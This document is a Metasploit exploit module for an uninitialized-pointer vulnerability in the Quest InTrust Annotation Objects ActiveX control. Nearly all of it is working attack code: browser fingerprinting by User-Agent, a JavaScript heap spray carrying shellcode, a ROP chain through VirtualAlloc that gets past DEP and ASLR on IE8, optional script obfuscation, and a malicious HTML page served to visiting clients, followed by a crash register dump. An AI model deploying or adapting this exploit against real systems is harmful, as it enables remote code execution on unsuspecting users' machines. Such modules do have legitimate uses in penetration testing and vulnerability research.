Quest InTrust Annotation Objects Uninitialized Pointer



###

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super( update_info(info,
            'Name'           => 'Quest InTrust Annotation Objects Uninitialized Pointer',
            'Description'    => %q{
                    This module exploits an uninitialized variable vulnerability in the
                Annotation Objects ActiveX component. The activeX component loads into memory without
                opting into ALSR so this module exploits the vulnerability against windows Vista and
                Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX
                points to part of the ROP chain in a heap chunk and the calculated call will hit the
                pivot in a separate heap chunk. This will take some time in the users browser.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'rgod <rgod[at]autistici.org>',             # initial discovery & poc
                    'mr_me <steventhomasseeley[at]gmail.com>'   # msf module
                ],
            'References'     =>
                [
                    [ 'OSVDB', '80662'],
                    [ 'BID', '52765'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/18674/']
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4]
                    # calculation: <targetaddress> - 0x44024a50 / 4 = Ret
                    [ 'Automatic', {} ],

                    # Windows XP/Vista/IE6/IE7 target
                    [
                        'Windows XP/Vista SP0-SP3 (IE6/IE7)',
                        {
                            'Ret' => 0x76767676,
                        }
                    ],

                    # Windows XP/IE8 target - ASLR/DEP Bypass
                    [
                        'Windows XP SP0-SP3 DEP bypass (IE8)',
                        {
                            'Ret' => 0x31AAAD78,
                        }
                    ],

                    # Windows 7/Vista/IE8 target - ASLR/DEP Bypass
                    [
                        'Windows 7/Vista ALSR/DEP bypass (IE8)',
                        {
                            'Ret' => 0x31AAAD78,
                        }
                    ]
                ],
            'DisclosureDate' => 'Mar 28 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
            ], self.class)
    end

    def junk
        return rand_text_alpha(4).unpack("L")[0].to_i
    end

    def nops(s)
        nops = make_nops(4).unpack("N*") * s
        return nops
    end

    def on_request_uri(cli, request)
        #Set target manually or automatically
        my_target = target
        if my_target.name == 'Automatic'
            agent = request.headers['User-Agent']
            if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/    # xp/ie6
                my_target = targets[1]
            elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/    # xp/ie7
                my_target = targets[1]
            elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/    # vista/ie7
                my_target = targets[1]
            elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/    # xp/ie8
                my_target = targets[2]
            elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/    # vista/ie8
                my_target = targets[2]
            elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/    # win7/ie8
                my_target = targets[3]
            end
        end

        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)

        # shellcode
        sc = Rex::Text.to_unescape(p.encoded)

        # Randomize object name
        obj_name  = rand_text_alpha(rand(100) + 1)
        main_sym  = 'main' #main function name

        if my_target.name =~ /IE6/ or my_target.name =~ /IE7/

            js = <<-EOS
            function heapspray(){
                shellcode = unescape('#{sc}');
                bigblock = unescape("%u0c0c%u0c0c");
                headersize = 20;
                slackspace = headersize+shellcode.length;
                while (bigblock.length<slackspace){ bigblock+=bigblock; }
                fillblock = bigblock.substring(0, slackspace);
                block = bigblock.substring(0, bigblock.length-slackspace);
                while(block.length+slackspace<0x40000){ block = block+block+fillblock; }
                memory = new Array();
                for (i=0;i<1000;i++){ memory[i] = block+shellcode; }
            }

            function main(){
                heapspray();
                  #{obj_name}.Add(#{my_target.ret},1);
            }
            EOS

        end

        if my_target.name =~ /IE8/

            # all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase)
            rop_gadgets = [
                junk,
                junk,
                junk,
                0x44014075  # xchg eax,esp ; add [ecx],10 ; retn 8 (pivot)
            ].pack('V*')

            rop_gadgets << [0x44015CEF].pack('V*') * 140    # padding of retn's

            rop_gadgets << [
                0x44015CEF,  # retn
                0x44015CEF,  # retn
                0x44015CEF,  # retn
                0x44015cee,  # pop edx ; retn
                0x4401a130,  # ptr to &VirtualAlloc() (IAT)
                0x44015ca4,  # mov eax,[edx+4] ; retn
                0x44001218,  # push eax ; dec eax ; pop esi ; pop ebp ; retn 14
                junk,        # filler (compensate)
                0x440159bb,  # pop ebp ; retn
                junk,        # filler (retn offset compensation)
                junk,        # filler (retn offset compensation)
                junk,        # filler (retn offset compensation)
                junk,        # filler (retn offset compensation)
                0x4400238A,  # filler (pop edi ; pop esi ; pop ebp ; retn)
                0x440012c1,  # push esp ; ret 08
                0x44016264,  # pop ebx ; retn
                0x00004000,  # 0x00000001-> ebx
                0x44015cc9,  # pop edx ; retn
                0x00001000,  # 0x00001000-> edx
                0x44017664,  # pop ecx ; retn
                0x00000040,  # 0x00000040-> ecx
                0x44017bd8,  # pop edi ; retn
                0x44017ebe,  # retn
                0x4400bf25,  # pop eax ; retn
                0x0C0C2478,  # pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn
                0x44005C57,  # pushad ; push 8 ; push ecx; push esi; call [eax+c]
                0x90909090,  # nops, do not change as it changes the offset
                nops(11)
            ].flatten.pack('V*')

            rop = Rex::Text.to_unescape(rop_gadgets)

            js = <<-EOF
            function heapspray(){
                var payload = unescape('#{rop}');
                payload += unescape('#{sc}');
                var data = payload;
                while(data.length < 100000) { data += data; }
                var onemeg = data.substr(0, 64*1024/2);

                for (i=0; i<14; i++) {
                    onemeg += data.substr(0, 64*1024/2);
                }

                onemeg += data.substr(0, (64*1024/2)-(38/2));
                var block = new Array();

                for (i=0; i<700; i++) {
                    block[i] = onemeg.substr(0, onemeg.length);
                }
            }

            function main(){
                heapspray();
                #{obj_name}.Add(#{my_target.ret},1);
            }
            EOF

            #JS obfuscation on demand only for IE8
            if datastore['OBFUSCATE']
                js = ::Rex::Exploitation::JSObfu.new(js)
                js.obfuscate
                main_sym = js.sym('main')
            end

        end

        content = <<-EOF
        <object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object>
        <script language='JavaScript' defer>
        #{js}
        </script>
        <body onload="#{main_sym}();">
        <body>
        </html>
        EOF

        peer = "#{cli.peerhost.ljust(16)} #{self.shortname}"
        print_status("#{peer} Sending HTML...")

        #Remove the extra tabs from content
        content = content.gsub(/^\t\t/, '')

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end
end
=begin
eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001
eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
ANNOTA_1+0xae62:
4400ae62 ff1485504a0244  call    dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=????????
=end